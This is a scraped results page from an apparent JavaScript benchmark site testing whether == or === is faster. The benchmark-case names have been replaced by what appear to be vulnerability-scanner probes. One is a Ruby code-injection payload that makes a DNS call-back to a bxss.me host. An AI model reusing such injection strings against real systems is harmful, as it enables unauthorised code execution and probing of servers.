Run results for: Which equals operator (== vs ===) is faster?

Run details:

User agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

Browser: Chrome 121

Operating system: Windows

Device Platform: Desktop

Date tested: 2 years ago

'A'.concat(70-3).concat(22*4).concat(100).concat(85).concat(118).concat(83)+(require'socket' Socket.gethostbyname('hitkk'+'qgmpfqwn7e9cb.bxss.me.')[3].to_s)

1/s

pHqghUme

1/s

View exact numbers

Test name	Executions per second
✓ 'A'.concat(70-3).concat(22*4).concat(100).concat(85).concat(118).concat(83)+(require'socket' Socket.gethostbyname('hitkk'+'qgmpfqwn7e9cb.bxss.me.')[3].to_s)	1 Ops/sec
✓ pHqghUme	1 Ops/sec

Tests:

test equality
var n = 0; while(true) { n++; if(n==100000) break; }
test strict equality
var n = 0; while(true) { n++; if(n===100000) break; }

Run results for: Which equals operator (== vs ===) is faster?

Is there a performance benefit to replacing == with ===?

test equality

test strict equality